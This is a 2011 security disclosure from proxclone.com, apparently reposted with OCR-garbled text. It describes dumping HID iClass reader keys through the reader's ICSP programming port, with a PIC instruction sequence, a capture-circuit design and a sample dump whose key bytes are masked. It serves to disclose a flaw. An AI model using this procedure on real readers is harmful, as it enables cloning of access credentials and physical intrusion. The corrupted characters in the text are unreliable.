Sie sind auf Seite 1von 5

iClass Key Extraction Exploiting the ICSP Interface

Introduction
Imagine the following scenario A hacker walks up to the corporate headquarters of a Fortune 500 company. The building used in this e ample relies upon the use of an i!lass !ontactless "mart !ard system to manage access to the facility# ensuring that only authori$ed personnel are allowed to enter. The hacker locates an i!lass reader that is installed on a side door and which is typically out of the security guard%s &iew. 'ith a (hilips screwdri&er he remo&es the one screw on the bottom of the unit that secures the reader to its mounting plate. The reader slides right out of its holder e posing the backside of the unit and re&ealing a )*pin connector that is used for In*circuit "erial (rogramming at the +I, factory. 'hile the reader remains powered up -and fully functional.# the hacker plugs a tiny circuit card onto the I!"( connector. The hacker presses a small pushbutton on the circuit card which causes an /0, to begin blinking. 'ithin ten seconds the blinking stops and the hacker disconnects it from the reader. The reader is slid back into its mounting plate and the single screw is replaced. The hacker then retreats to his home ha&ing spent less than a minute doing his dirty deed. 'hat did this hacker 1ust obtain you ask 2 ,uring the ten second data dump the hacker was able to retrie&e the following3 The +I, 4aster )5*bit Authentication key used by all i!lass readers. The two )5*bit T,0" keys used to encrypt and decrypt all secure communication between the reader and an i!lass credential The 678*byte key table that is used to generate the 9+igh "ecurity: key that is required to authenticate with any credential that has been configured to operate in +I,%s 90lite: or 9!ustom ;ey: high security programs. The card serial number -!"<. and ,i&ersified ;ey of the last credential that was read. The Facility !ode and !ard <umber of the last credential that was read.

=ou are now asking yourself # !an it really be that easy to collect all of that 9secret: information without damaging the reader or ha&ing to take it back to a lab for some serious re&erse engineering2 The simple answer is yes# and here are the two reasons why 6. The (I!68F557 microcontroller incorporates an In*!ircuit "erial (rogramming interface that is intended to allow an e ternal third*party de&ice to be attached and to re*program the processor with a new or updated program. Although it is not real ob&ious from reading the (I! (rogramming "pecification manual# the same interface can also be used to 9e tract: data that resides in the 65>)*byte ?A4 File ?egister space. 7. 'hen the i!lass reader communicates with a card it has to retrie&e the authentication and T,0" keys from 00(?@4 and place them into the ?A4 file register space where they need to reside before they can be used. The high security key table must also be calculated -and sa&ed in the File ?egister space. whene&er an i!lass credential is read. As a result# all of the secret key information now resides in &olatile ?A4 memory and is readily accessible &ia the I!"( interface.

October 1, 2011

www.proxclone.com

Page 1

iClass Key Extraction Exploiting the ICSP Interface


The ICSP Interface
The (I! 68F557 In*circuit "erial (rogrammer interface consists of a three*wire "(I interface combined with a App -programming enable. pin and a Acc -5Adc. pin. 'hen the App pin is dri&en to a specific high &oltage# the (I! enters its programmingBdebug mode. A de&ice attached to this "(I interface is now allowed to take full control of the processor and 9force*feed: it one machine instruction at a time. The "(I interface is used to send a 5*bit command followed by either a 6)*bit instruction -in the case of a 9e ecute !ore Instruction:. or it is followed by the receipt of a 8*bit byte -in the case of a read operation.. An e ample of a ?ead -"hift out TAC/AT ?eg. sequence is shown in the timing diagram below.

Although the I!"( interface supports ten different types of commands -as shown in the table below.# only two commands are required to read the (I! File ?egister contents. These two commands ha&e been highlighted below. !ommands for (rogramming ,escription
Core Instruction (Shift in 16-bit instruction Shift out TABLAT Register Table Read Table Read, post increment Table Read, post decrement Table Read, pre-increment Table Write Table Write, post-increment by 2 Table Write, post-decrement by 2 Table Write, start programming

5*bit !ommand

0000 0010 1000 1001 1010 1011 1100 1101 1110 1111

Cy e ecuting a short sequence of instructions# the "(I interface can effecti&ely be used to force the (I! processor to loop through a sequence of three instructions until all ) banks of 75) registers -65>) total. ha&e been dumped back to the "(I master de&ice. A table that summari$es the "(I 9?egister ,ump: sequence is shown in the table below.

October 1, 2011

www.proxclone.com

Page 2

iClass Key Extraction Exploiting the ICSP Interface


In !ircuit "erial (rogramming -I!"(. !ommand "equence 68F557 (I! !omment Assembly !ode
MOVLW,0 MOVWF,FSR0H MOVLW,0 MOVWF,FSR0L MOVF,POSTINCO MOVWF,TABLAT N/A Set Upper byte of Index Addr = 0 Set Lower byte of Index Addr = 0 Read File Register & Incr Index Move Reg data to ICSP Register Send data byte read to ICSP I/F Define Start Addr Define Start Addr Loop here for all 1536 Regs

I!"( 5*bit I!"( ,ataB !ommand (I! Instr.


0000 0000 0000 0000 0000 0000 0010 0x0E00 0x6EEA 0x0E00 0x6EE9 0x50EE 0x6EF5 Reg Data

Register Capture Circuit Implementation


The hardware required to e tract the i!lass register information is fairly simplistic and can be built for less than D65. The circuit is comprised of a generic 8*bit microcontroller which is used in con1unction with a 7; byte "erial 00(?@4 # an ?"*7>7 transcei&er# a couple of push buttons and a couple of connectors to allow its attachment to the readers I!"( interface and a (! serial !@4 port. The microcontroller is used to communicate with the reader &ia the I!"( interface. The serial 00(?@4 is used to store the contents of the File ?egister ?A4 which is downloaded across the I!"( interface. The ?"*7>7 transcei&er is used to support an ?"*7>7 connection to a (! in order to dump the captured data at a later time. The ?"*7>7 transcei&er%s high &oltage pump is also used to pro&ide the EAdc -min. needed to force the (I! I!"( interface into a debug mode of operation. ,uring download# the capture circuit recei&es its operating power directly from the 5Adc regulated power pro&ided on the readers I!"( connector. In addition# an onboard 5Adc regulator circuit allows the connection of an e ternal EAdc battery which is used to power the circuit during the time when the captured data is being dumped to a (!.

Figure 1. Register Capture Circuit shown with iClass RW300

An e ample of a captured register dump is shown in the figure below. The microcontroller used in capture circuit has con&erted the he adecimal data to an A"!II format and added the appropriate file address information prior to being transferred to the (!.

October 1, 2011

www.proxclone.com

Page 3

iClass Key Extraction Exploiting the ICSP Interface


0000 0010 0020 0030 0040 0050 0060 0070 0080 0090 00A0 00B0 00C0 00D0 00E0 00F0 0100 0110 0120 0130 0140 0150 0160 0170 0180 0190 01A0 01B0 01C0 01D0 01E0 01F0 0200 0210 0220 0230 0240 0250 0260 0270 0280 0290 02A0 02B0 02C0 02D0 02E0 02F0 01 30 01 21 C0 45 21 93 13 02 1E A3 03 00 12 03 24 XX XX 10 B1 08 0E 9F 00 80 20 00 0A 00 C8 B4 XX XX XX XX XX XX XX XX 21 83 04 91 80 20 00 42 00 42 A0 02 45 55 00 48 25 13 20 00 03 20 FF 00 08 XX 08 00 81 12 D5 00 00 08 21 00 00 00 18 62 XX XX XX XX XX XX XX XX C0 60 00 84 01 28 34 40 00 0E 21 31 C8 A2 18 00 10 00 5C 80 00 21 FE 0C 37 XX 56 B1 EE 27 F3 88 00 09 00 00 81 00 04 00 XX XX XX XX XX XX XX XX E1 91 44 4C 52 11 0E 01 00 72 14 24 28 42 08 08 74 18 11 08 03 22 FF 00 04 XX 20 81 00 0F 03 01 00 0D 41 00 00 00 14 50 XX XX XX XX XX XX XX XX 34 32 C9 48 A8 40 80 3C 00 02 20 2A 26 9E 48 04 AD 04 48 65 E0 33 FF 01 29 XX DF EE F7 00 03 00 00 00 08 00 00 61 88 20 XX XX XX XX XX XX XX XX 31 02 50 50 24 40 85 D0 44 00 28 30 21 52 89 80 50 C0 11 00 17 00 63 02 79 XX 9F 00 FF 04 AA 0D 00 04 10 00 00 03 C0 49 XX XX XX XX XX XX XX XX 00 88 04 40 38 49 A2 6A 05 00 B0 43 23 B3 6A 00 44 03 12 00 DB 00 63 80 53 XX DA F7 12 08 8F 00 00 00 42 00 2A 5C 04 6A XX XX XX XX XX XX XX XX 40 15 40 20 82 35 73 60 20 49 08 45 C6 24 04 02 00 C1 46 40 E0 00 E0 04 34 XX CF FF E0 00 02 00 01 12 00 00 DA 00 00 18 XX XX XX XX XX XX XX XX 10 00 02 70 A2 3E 80 65 00 70 41 03 12 10 C4 05 80 05 00 49 DC 00 12 A7 08 XX 37 12 00 00 07 42 B1 C8 00 00 73 40 AB 45 XX XX XX XX XX XX XX XX 81 09 81 30 12 0A 01 64 04 89 00 00 00 0E 15 A3 11 84 81 53 4F 44 01 01 XX XX 02 E0 08 F5 50 1E 81 25 00 00 EE A3 89 04 XX XX XX XX XX XX XX XX 09 E1 31 20 25 20 25 A0 20 16 90 81 88 22 8F 58 26 11 0D D4 E1 17 03 FF XX XX 09 00 00 D0 28 01 EE 9E 00 00 00 08 00 5C XX XX XX XX XX XX XX XX 40 01 02 02 02 00 40 80 81 21 40 0E C6 11 C0 05 EC 1E 02 FE 74 21 11 FF XX XX 02 08 3B 00 19 00 00 41 00 06 F7 00 33 10 XX XX XX XX XX XX XX XX A2 05 4C 00 4E 0B 32 0C 43 00 02 24 45 48 66 40 22 12 24 FF 3D 17 1B D5 XX XX 9C 00 FF D0 00 00 32 48 00 16 FF 00 19 10 XX XX XX XX XX XX XX XX 01 48 B2 81 34 42 50 42 81 2C 47 E3 10 42 09 08 63 9B 75 FF 6A 32 00 FE XX XX AE 3B FF F0 AA 00 00 4C 00 07 12 96 98 C5 XX XX XX XX XX XX XX XX 82 D5 55 05 40 EB 80 80 30 BE 03 00 80 02 2A 00 40 A8 0A 03 00 17 0E FF XX XX 01 FF 90 E6 60 00 27 DA 00 74 E0 50 08 74 XX XX XX XX XX XX XX XX 18 03 A6 00 00 E5 65 D0 80 10 0A 92 4D 09 68 26 16 20 10 03 00 32 00 FF XX XX 40 FF 07 67 A0 00 00 05 00 06 00 43 20 0A XX XX XX XX XX XX XX XX 18 44 A2 48 A0 20 D6 A4 0300 0310 0320 0330 0340 0350 0360 0370 0380 0390 03A0 03B0 03C0 03D0 03E0 03F0 0400 0410 0420 0430 0440 0450 0460 0470 0480 0490 04A0 04B0 04C0 04D0 04E0 04F0 0500 0510 0520 0530 0540 0550 0560 0570 0580 0590 05A0 05B0 05C0 05D0 05E0 05F0 D1 5C 46 A0 0C 81 0C 05 44 63 60 88 D4 90 00 4E 41 00 D1 D1 02 22 50 B8 0A 21 16 19 66 25 30 40 66 4A 24 00 01 05 81 81 03 64 00 17 00 00 00 00 08 90 00 83 03 32 00 00 12 02 33 55 25 80 C9 26 09 0C 02 12 C9 06 09 04 02 19 31 00 C2 08 C8 20 83 00 20 6A 01 4C B0 88 03 C8 00 21 F7 00 00 00 C1 88 8C D3 41 28 53 95 AE 20 A0 E3 0E 00 00 38 40 80 00 00 45 01 12 0E 00 30 24 AC B9 01 81 0E 00 42 04 08 02 02 09 D4 86 B1 00 00 FF 00 00 00 A4 10 02 34 30 04 80 40 93 C1 06 13 D5 C1 44 17 00 64 60 08 10 B8 C0 08 B4 08 40 C0 40 1A 93 92 C6 09 10 C1 00 88 48 80 84 10 00 00 12 00 00 00 E6 93 20 58 2A 30 08 C4 6C A9 4C 24 12 26 70 D6 81 18 2E 80 20 15 18 C1 C4 20 25 40 80 50 78 02 51 1B 80 6A 01 02 00 64 08 00 00 00 E0 00 00 00 20 14 00 23 60 B1 8E 90 4A 80 24 14 1C C7 05 00 02 71 20 C2 86 74 06 04 40 04 80 55 2A 02 18 10 08 00 01 24 C0 00 96 98 46 01 00 02 00 00 00 00 4A 08 6A C3 20 12 04 44 82 99 22 41 08 08 88 09 88 06 60 00 20 21 07 32 20 1A 44 15 00 00 AE 0B 20 00 4A 20 12 0F 40 20 91 00 0D 09 00 00 00 00 00 09 18 50 14 46 45 60 13 04 80 68 00 09 C8 06 10 04 88 53 42 82 11 93 63 00 23 02 90 65 2D 28 12 10 04 28 58 40 04 80 60 00 5F 00 00 00 00 00 00 B0 30 02 6E A1 0B 91 31 A1 46 03 88 09 20 F5 10 01 0C 81 01 40 10 2C 81 30 01 04 93 41 20 44 09 42 69 00 82 08 40 92 00 00 00 00 00 00 00 00 02 A2 86 01 C4 04 11 45 16 A1 D8 42 31 00 D6 A5 01 B0 A6 0E 14 09 82 A8 20 29 A0 01 12 90 41 40 28 C8 A2 12 18 C0 4C 01 13 00 00 00 00 00 00 01 61 22 02 60 33 08 00 80 02 68 00 0A 23 59 05 9C 13 20 C0 02 F8 00 85 00 01 A0 90 00 80 8C 49 20 45 89 28 00 00 00 08 10 00 00 00 00 00 00 00 00 CB 12 01 B7 00 81 52 3D A8 A1 00 30 05 F1 42 36 01 25 84 88 50 5A 00 20 34 10 58 8C 01 01 19 94 00 C3 29 00 64 25 B1 06 00 01 00 00 00 00 00 01 20 08 49 04 C0 4B 02 20 83 C1 40 C5 02 09 2A 3C 00 00 80 9A 85 C8 98 90 17 8C E4 00 01 00 43 D8 80 22 31 44 00 7C 20 1F A0 00 00 00 00 00 00 70 80 52 18 00 09 96 65 10 02 01 24 B2 88 01 54 82 50 58 02 11 04 14 68 14 45 84 80 04 10 02 34 29 70 25 E8 2E 1C 50 4C 08 23 00 09 B1 00 00 00 00 81 50 90 4C 10 00 64 14 20 02 03 14 10 04 20 00 27 82 01 9C 80 15 00 40 80 01 D1 00 40 32 20 03 44 11 20 28 9A 04 C0 0D 40 00 FF 81 00 00 00 00 C0 00 40 58 00 87 08 12 02 17 70 48 1A 00 40 10 00 00 0D 23 09 01 38 08 48 44 C2 A4 74 02 41 0A EE 03 04 00 05 0B 00 00 61 00 02 EE 00 00 00 07

HID Master Auth key, TDES keys and HS key table are XXd out

CSN, Div Key,& wiegand data of last credential read.

October 1, 2011

www.proxclone.com

Page 4

iClass Key Extraction Exploiting the ICSP Interface


Conclusion
The i!lass family of 6>.5)4h$ contactless readers suffers from a serious design flaw that allows critically sensiti&e data to be e tracted with minimal effort. This design flaw in&ol&es the presence of a backdoor interface that can be e ploited and possibly used for nefarious purposes. The storing of sensiti&e key information in static memory arrays that do not get purged after their use only helps to magnify the inherent flaw. The information e tracted using this type of attack allows a hacker to easily circum&ent the system by pro&iding them the information necessary to modify or duplicate credentials regardless of whether the system operates in standard security mode or high securityB0lite mode. It is strongly recommended that users of i!lass hardware installed in high security applications should seriously consider in&estigating their options for remo&ing or disabling this 9backdoor: interface. Failure to do so could potentially pose a &ery significant risk to the physical or intellectual property assets that the system was originally installed to protect.

October 1, 2011

www.proxclone.com

Page 5

Das könnte Ihnen auch gefallen